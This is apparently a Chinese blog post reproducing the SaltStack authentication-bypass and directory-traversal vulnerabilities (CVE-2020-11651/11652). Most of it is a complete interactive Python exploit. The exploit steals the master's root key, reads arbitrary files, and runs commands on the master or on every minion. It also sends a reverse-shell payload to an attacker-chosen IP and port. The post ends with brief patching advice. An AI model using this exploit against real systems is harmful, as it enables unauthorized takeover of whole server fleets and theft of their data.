saltstack命令执行/遍历目录(CVE-2020-11651)

漏洞描述:

基于Python开发的一套C/S架构配置管理工具,通过部署SaltStack,可以在成千万台服务器上做到批量执行命令,根据不同业务进行配置集中化管理、分发文件、采集服务器数据、操作系统基础及软件包管理等,简单来说就是可以集中管理各种各样的服务器,但在 SaltStack < 2019.2.4,SaltStack < 3000.2版本中出现了认证绕过漏洞CVE-2020-11651,通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程任意命令执行。在CVE-2020-11652目录遍历漏洞中,攻击者通过构造恶意请求,读取服务器上任意文件。

复现过程:

1.安装salt库

pip3 install salt

2.利用poc

3.反弹shell

3.1本地监听

3.2设置ip和port

3.3成功监听

Poc

#coding=gbk

# BASE https://github.com/bravery9/SaltStack-Exp

# 微信公众号:台下言书

# -*- coding:utf-8 -*- -

from __future__ import absolute_import, print_function, unicode_literals

import argparse

import os

import sys

import datetime

import salt

import salt.version

import salt.transport.client

import salt.exceptions

DEBUG = False

def init_minion(master_ip, master_port):

    minion_config = {

        'transport': 'zeromq',

        'pki_dir': '/tmp',

        'id': 'root',

        'log_level': 'debug',

        'master_ip': master_ip,

        'master_port': master_port,

        'auth_timeout': 5,

        'auth_tries': 1,

        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)

    }

    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')

def check_salt_version():

    print("[+] Salt 版本: {}".format(salt.version.__version__))

    vi = salt.version.__version_info__

    if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):

        return True

    else:

        return False

def check_connection(master_ip, master_port, channel):

    print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')

    sys.stdout.flush()

    try:

        channel.send({'cmd': 'ping'}, timeout=2)

        print('\033[1;32m可以连接\033[0m')

    except salt.exceptions.SaltReqTimeoutError:

        print("\033[1;31m无法连接\033[0m")

        sys.exit(1)

def check_CVE_2020_11651(channel):

    sys.stdout.flush()

    # try to evil

    try:

        rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)

    except salt.exceptions.SaltReqTimeoutError:

        print("\033[1;32m不存在漏洞\033[0m")

    except:

        print("\033[1;32m未知错误\033[0m")

        raise

    else:

        pass

    finally:

        if rets:

            root_key = rets[2]['root']

            print("\033[1;31m存在漏洞\033[0m")

            return root_key

    return None

def pwn_read_file(channel, root_key, path, master_ip):

    # print("[+] Attemping to read {} from {}".format(path, master_ip))

    sys.stdout.flush()

    msg = {

        'key': root_key,

        'cmd': 'wheel',

        'fun': 'file_roots.read',

        'path': path,

        'saltenv': 'base',

    }

    rets = channel.send(msg, timeout=3)

    print(rets['data']['return'][0][path])

def pwn_getshell(channel, root_key, LHOST, LPORT):

    msg = {"key": root_key,

           "cmd": "runner",

           'fun': 'salt.cmd',

           "kwarg": {

               "fun": "cmd.exec_code",

               "lang": "python3",

               "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(

                   LHOST, LPORT)

           },

           'jid': '20200504042611133934',

           'user': 'sudo_user',

           '_stamp': '2020-05-04T04:26:13.609688'}

    try:

        response = channel.send(msg, timeout=3)

        print("Got response for attempting master shell: " + str(response) + ". Looks promising!")

        return True

    except:

        print("something failed")

        return False

def pwn_exec(channel, root_key, exec_cmd, master_or_minions):

    if master_or_minions == "master":

        msg = {"key": root_key,

               "cmd": "runner",

               'fun': 'salt.cmd',

               "kwarg": {

                   "fun": "cmd.exec_code",

                   "lang": "python3",

                   "code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)

               },

               'jid': '20200504042611133934',

               'user': 'sudo_user',

               '_stamp': '2020-05-04T04:26:13.609688'}

        try:

            response = channel.send(msg, timeout=3)

            print("Got response for attempting master shell: " + str(response) + ". Looks promising!")

            return True

        except:

            print("something failed")

            return False

    if master_or_minions == "minions":

        print("Sending command to all minions on master")

        jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())

        cmd = "/bin/sh -c '{0}'".format(exec_cmd)

        msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",

               "user": "root", "jid": jid}

        try:

            response = channel.send(msg, timeout=3)

            if response == None:

                return True

            else:

                return False

        except:

            return False

#####################################

master_ip=input('目标IP:')

master_port='4506'

channel = init_minion(master_ip, master_port)

try:

    root_key = check_CVE_2020_11651(channel)

except:

    pass

while master_ip!='':

    print('1.测试POC  2.读取文件  3.执行命令(无回显)  4.反弹shell  5.退出')

    whattype=input('请选择:')

    if whattype=='1':

        check_salt_version()  # 检查salt版本

        check_connection(master_ip, master_port, channel)  # 检查连接

        root_key = check_CVE_2020_11651(channel)  # 读取root key

        print(root_key)

    elif whattype=='2':

        path = input('读取路径:')

        try:

            pwn_read_file(channel, root_key, path, master_ip)  # 读取文件

        except:

            print('文件不存在')

    elif whattype=='3':

        print('1.master   2.minions')

        exectype = input('选择方式:')

        if exectype=='1':

            master_or_minions='master'

        elif exectype=='2':

            master_or_minions = 'minions'

        exec_cmd = input('输入命令:')

        pwn_exec(channel, root_key, exec_cmd, master_or_minions)  # 执行命令

    elif whattype=='4':

        LHOST = input('反弹到IP:')

        LPORT = input('反弹端口:')

        pwn_getshell(channel, root_key, LHOST, LPORT)  # 反弹shell

    elif whattype=='5':

        exit()

修复建议:

1.SaltStack官方已发布最新版本修复此漏洞,相关用户及时更新至安全版本及其以上,升级前做好快照备份。

2.开启SaltStack自动更新,实时获取补丁或升级至安全版本。

3.禁止将Salt Master默认监听端口(4505、4506)向公网开放,设置为仅对可信对象开放。

  • 21
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值